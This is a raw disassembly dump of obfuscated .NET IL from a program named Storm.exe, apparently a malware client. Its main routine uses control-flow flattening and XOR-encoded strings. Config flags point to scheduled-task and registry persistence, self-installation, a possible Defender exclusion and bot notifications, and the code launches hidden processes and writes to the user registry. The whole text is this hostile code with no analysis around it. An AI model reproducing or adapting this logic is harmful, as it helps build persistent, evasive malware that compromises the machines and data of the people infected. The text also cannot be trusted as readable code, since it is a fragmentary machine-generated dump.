switch(IL_06B1,IL_0659,IL_06A2,IL_06C8,IL_074D,IL_071D,IL_0687,IL_06F8) leave IL_0793: ldsfld System.Boolean External::Schtasks pop <null> ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_ae34551c2760488ead01dc1c2bea6bf1 brfalse IL_0776: switch(IL_0784) pop <null> ldc.i4 0 br IL_0776: switch(IL_0784) ldloc V_7 switch dnlib.DotNet.Emit.Instruction[] br IL_0784: leave IL_0793 leave IL_0793: ldsfld System.Boolean External::Schtasks ldc.i4 17 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Boolean External::Schtasks brfalse IL_07A7: ldsfld System.Boolean External::Registry ldc.i4 2 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Boolean External::Registry brfalse IL_03F5: ldsfld oLyyBn1PkU50Ffq57Yp oLyyBn1PkU50Ffq57Yp::FBg1rVt8NY ldc.i4 20 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld i56jt4AsN4Ovs3FAVqy i56jt4AsN4Ovs3FAVqy::tWnA0lBwbp call System.Boolean i56jt4AsN4Ovs3FAVqy::MDyZS8xBcS(i56jt4AsN4Ovs3FAVqy) pop <null> ldc.i4 8 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_f4a7dfd6c1cb4deba5068bfd1f1d4823 brtrue IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) pop <null> ldc.i4 5 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Threading.ThreadStart StormClient.Program/<>c::mlJytlPG3 dup <null> brtrue IL_08BC: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldc.i4 5 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_84933b02eaeb4184b15de94c17c0f30e brtrue IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) pop <null> ldc.i4 6 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.String External::InstallDir ldsfld System.String External::InstallStr ldsfld VYJrsrAgvMCL4sWWX3K VYJrsrAgvMCL4sWWX3K::HpyAGtPQ4R call System.String VYJrsrAgvMCL4sWWX3K::MDyZS8xBcS(System.String,System.String,VYJrsrAgvMCL4sWWX3K) stloc.s V_0 ldc.i4 21 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Threading.ThreadStart StormClient.Program/<>c::FKoE6Vx8P dup <null> brtrue IL_08F8: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_f02191b7205f4ed7a6c33288b4b2b148 brtrue IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) pop <null> ldc.i4 0 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld Ce3jtf1hu8bKapRGdt5 Ce3jtf1hu8bKapRGdt5::jas1Smiqnq call System.Void Ce3jtf1hu8bKapRGdt5::MDyZS8xBcS(Ce3jtf1hu8bKapRGdt5) ldc.i4 18 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Boolean External::Registry brfalse IL_088E: ldsfld System.Boolean External::Schtasks ldc.i4 9 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) nop <null> ldc.i4 11 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Boolean External::Schtasks brtrue IL_0883: nop ldc.i4 4 stloc V_4 br IL_0015: ldloc V_4 ldsfld StormClient.Program/<>c StormClient.Program/<>c::Ax9Le5KBa ldftn System.Void StormClient.Program/<>c::lyRgJ9TOK() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart StormClient.Program/<>c::mlJytlPG3 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.s V_9 ldc.i4 19 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_c3f0c12219a24f91820c1220257c0a5c brtrue IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) pop <null> ldc.i4 9 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld StormClient.Program/<>c StormClient.Program/<>c::Ax9Le5KBa ldftn System.Void StormClient.Program/<>c::E4uGuiv7p() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart StormClient.Program/<>c::FKoE6Vx8P newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) ldloc.s V_9 ldsfld Wl09ow15WEGhif7g4Ym Wl09ow15WEGhif7g4Ym::UGj1DlIeo2 call System.Void Wl09ow15WEGhif7g4Ym::MDyZS8xBcS(System.Object,Wl09ow15WEGhif7g4Ym) dup <null> ldsfld Wl09ow15WEGhif7g4Ym Wl09ow15WEGhif7g4Ym::UGj1DlIeo2 call System.Void Wl09ow15WEGhif7g4Ym::MDyZS8xBcS(System.Object,Wl09ow15WEGhif7g4Ym) ldsfld Ob1fYH1ed4H2djH2eso Ob1fYH1ed4H2djH2eso::qk91Qf4x2O call System.Void Ob1fYH1ed4H2djH2eso::MDyZS8xBcS(System.Object,Ob1fYH1ed4H2djH2eso) ldc.i4 22 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C)

Storm.exe

Storm.exe

System.Void StormClient.Program::Main()

Storm.exe

ModuleDef

Windows

v4.0.30319

512

<null>

Storm

1.0.0.0

<null>

False

<null>

.NETFramework,Version=v4.8

47

System.Void StormClient.Program::Main()

517

br.s IL_0007: ldc.i4 13 call <null> ldc.i4 13 stloc V_4 br IL_0015: ldloc V_4 ldloc V_4 switch dnlib.DotNet.Emit.Instruction[] br IL_08E2: ldsfld StormClient.Program/<>c StormClient.Program/<>c::Ax9Le5KBa ldsfld SAKrrCABn2kuCRMJCjj SAKrrCABn2kuCRMJCjj::e2hAKYQwP4 call System.Boolean SAKrrCABn2kuCRMJCjj::MDyZS8xBcS(SAKrrCABn2kuCRMJCjj) pop <null> ldc.i4 16 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Boolean External::TBotNontify brfalse IL_07E5: ldsfld System.Threading.ThreadStart StormClient.Program/<>c::mlJytlPG3 ldc.i4 7 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) nop <null> ldc.i4 -1654140153 not <null> ldc.i4 1138795013 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_ae34551c2760488ead01dc1c2bea6bf1 xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) dup <null> ldc.i4.1 <null> ldsfld ajw9Xw1k1kQ7aoxIL39 ajw9Xw1k1kQ7aoxIL39::x031fhc7mA call System.Void ajw9Xw1k1kQ7aoxIL39::MDyZS8xBcS(System.Object,System.Diagnostics.ProcessWindowStyle,ajw9Xw1k1kQ7aoxIL39) stloc.s V_12 ldc.i4 5 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_c75709b58fe6481493581f2458dfdd36 brfalse IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) pop <null> ldc.i4 5 br IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) ldloc V_6 switch dnlib.DotNet.Emit.Instruction[] br IL_031C: leave IL_07A7 ldsfld hQ3OIa1CeJSMKGkqvIb hQ3OIa1CeJSMKGkqvIb::JVd1xxqJTl call System.String hQ3OIa1CeJSMKGkqvIb::MDyZS8xBcS(hQ3OIa1CeJSMKGkqvIb) ldsfld GrK1EO1ZiSiHdutj0sg GrK1EO1ZiSiHdutj0sg::puj1ae6RLK call System.Boolean GrK1EO1ZiSiHdutj0sg::MDyZS8xBcS(System.String,GrK1EO1ZiSiHdutj0sg) stloc.s V_15 ldc.i4 3 br IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) ldloc.s V_14 brfalse IL_031C: leave IL_07A7 ldc.i4 4 stloc V_6 br IL_010E: ldloc V_6 ldloc.s V_12 ldsfld Wkimwg1Ikm4CLb4NucP Wkimwg1Ikm4CLb4NucP::RfO1lSTgdq call System.Diagnostics.Process Wkimwg1Ikm4CLb4NucP::MDyZS8xBcS(System.Diagnostics.ProcessStartInfo,Wkimwg1Ikm4CLb4NucP) stloc.s V_14 ldc.i4 1 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_929e240ca0b347369c05e2db1b0d9818 brtrue IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) pop <null> ldc.i4 2 br IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) ldloc.s V_14 ldsfld sKnlgH1qCR6qoiteYwN sKnlgH1qCR6qoiteYwN::fQ619HSW9u call System.Void sKnlgH1qCR6qoiteYwN::MDyZS8xBcS(System.Object,sKnlgH1qCR6qoiteYwN) ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_58fff8e09dba4c99a3ea79a0b81f5a08 brfalse IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) pop <null> ldc.i4 0 br IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) ldloc.s V_12 ldc.i4.7 <null> newarr System.String dup <null> ldc.i4.0 <null> ldc.i4 1564205800 ldc.i4 -2088457832 add <null> ldc.i4 -970783267 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_8ff92bba0e9a4285a2fc162ca6789511 xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) stelem.ref <null> dup <null> ldc.i4.1 <null> ldloc.s V_15 brfalse IL_020A: ldstr "" br IL_0214: ldc.i4 -1089243823 ldstr br IL_0244: stelem.ref ldc.i4 -1089243823 ldc.i4 156597079 add <null> ldc.i4 -1133267170 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_f4a7dfd6c1cb4deba5068bfd1f1d4823 xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) stelem.ref <null> dup <null> ldc.i4.2 <null> ldc.i4 -406906692 ldc.i4 -22061626 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_279e68898cfc473fa1f00312becda2cf xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) stelem.ref <null> dup <null> ldc.i4.3 <null> ldsfld System.String External::InstallStr ldsfld V5m6Ld1ArdAOD8grP39 V5m6Ld1ArdAOD8grP39::q9k11HJAxd call System.String V5m6Ld1ArdAOD8grP39::MDyZS8xBcS(System.String,V5m6Ld1ArdAOD8grP39) stelem.ref <null> dup <null> ldc.i4.4 <null> ldc.i4 1321942738 ldc.i4 1 shr <null> ldc.i4 1400821803 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_f4a7dfd6c1cb4deba5068bfd1f1d4823 xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) stelem.ref <null> dup <null> ldc.i4.5 <null> ldloc.s V_0 stelem.ref <null> dup <null> ldc.i4.6 <null> ldc.i4 823318258 ldc.i4 639483193 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_5a7831cbffe54d5592d37ea902786149 xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) stelem.ref <null> ldsfld AXy4luamDvMPQx9inD9 AXy4luamDvMPQx9inD9::PIsan0o0bi call System.String AXy4luamDvMPQx9inD9::MDyZS8xBcS(System.String[],AXy4luamDvMPQx9inD9) ldsfld Hps0X11O0NK87P03asB Hps0X11O0NK87P03asB::a8n1jAASSh call System.Void Hps0X11O0NK87P03asB::MDyZS8xBcS(System.Object,System.String,Hps0X11O0NK87P03asB) ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_63a8ee440ca14445bf72c4c9ca994e21 brfalse IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) pop <null> ldc.i4 1 br IL_0112: switch(IL_031C,IL_0169,IL_0154,IL_01C1,IL_0196,IL_0134) leave IL_07A7: ldsfld System.Boolean External::Registry pop <null> ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_6aa1a5c734aa4977b6da80a6ea5ff8c3 brtrue IL_0345: switch(IL_0353) pop <null> ldc.i4 0 br IL_0345: switch(IL_0353) ldloc V_10 switch dnlib.DotNet.Emit.Instruction[] br IL_0353: leave IL_07A7 leave IL_07A7: ldsfld System.Boolean External::Registry ldc.i4 15 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ret <null> ldsfld fdXbSuAT7HNVux3HLAP fdXbSuAT7HNVux3HLAP::OGmA6YUtLD call System.Void fdXbSuAT7HNVux3HLAP::MDyZS8xBcS(fdXbSuAT7HNVux3HLAP) ldc.i4 10 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) br IL_0793: ldsfld System.Boolean External::Schtasks ldc.i4 3 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) br IL_0883: nop ldc.i4 5 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_ac041ea5d9f9486887662022f51f4e66 brtrue IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) pop <null> ldc.i4 3 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld yxal5gAmhtsQURBYqqY yxal5gAmhtsQURBYqqY::oJRAniTBE2 call System.Void yxal5gAmhtsQURBYqqY::MDyZS8xBcS(yxal5gAmhtsQURBYqqY) ldc.i4 12 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld System.Int32 External::Sleep ldc.i4 1000 mul <null> ldsfld FFavcMaU0HnFfcxhvOX FFavcMaU0HnFfcxhvOX::VRCabwAMeR call System.Void FFavcMaU0HnFfcxhvOX::MDyZS8xBcS(System.Int32,FFavcMaU0HnFfcxhvOX) ldc.i4 23 stloc V_4 br IL_0015: ldloc V_4 ldsfld System.Boolean External::WDEX brfalse IL_0810: ldsfld System.String External::InstallDir ldc.i4 14 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) ldsfld oLyyBn1PkU50Ffq57Yp oLyyBn1PkU50Ffq57Yp::FBg1rVt8NY call System.Void oLyyBn1PkU50Ffq57Yp::MDyZS8xBcS(oLyyBn1PkU50Ffq57Yp) ldc.i4 24 br IL_0019: switch(IL_08E2,IL_03F5,IL_00B0,IL_0883,IL_0377,IL_088E,IL_08A6,IL_085B,IL_0087,IL_0386,IL_0810,IL_0603,IL_03BE,IL_03AA,IL_0363,IL_07A7,IL_03E1,IL_0793,IL_07E5,IL_0830,IL_0409,IL_086F,IL_0362,IL_07BB,IL_009C) nop <null> ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldc.i4 1350511610 ldc.i4 1896326625 xor <null> ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_ae34551c2760488ead01dc1c2bea6bf1 xor <null> ldsfld lJNV8dZm69wUyWcjBZE lJNV8dZm69wUyWcjBZE::K2kZnrTp26 call System.String lJNV8dZm69wUyWcjBZE::MDyZS8xBcS(System.Int32,lJNV8dZm69wUyWcjBZE) ldsfld g0UA8ZZsaBC7di8WIGu g0UA8ZZsaBC7di8WIGu::PK3Z0fW93b call System.String g0UA8ZZsaBC7di8WIGu::MDyZS8xBcS(System.String,g0UA8ZZsaBC7di8WIGu) ldc.i4.1 <null> ldsfld otfcHe1WdMPVZlGbvCU otfcHe1WdMPVZlGbvCU::hD31p4lF7Y call Microsoft.Win32.RegistryKey otfcHe1WdMPVZlGbvCU::MDyZS8xBcS(System.Object,System.String,System.Boolean,otfcHe1WdMPVZlGbvCU) stloc.s V_11 ldc.i4 0 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_ba0cd4e5f3df4ba4aff01c7402bb7688 brtrue IL_0469: switch(IL_047B,IL_05A8) pop <null> ldc.i4 0 br IL_0469: switch(IL_047B,IL_05A8) ldloc V_3 switch dnlib.DotNet.Emit.Instruction[] br IL_047B: nop nop <null> ldloc.s V_11 brfalse IL_04F4: leave IL_05A8 ldc.i4 1 ldsfld <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b} <Module>{f3853499-cc56-4d3f-bfc2-cebd14d2509b}::m_4a821d741b174f27b8e7260e86875e42 ldfld System.Int32 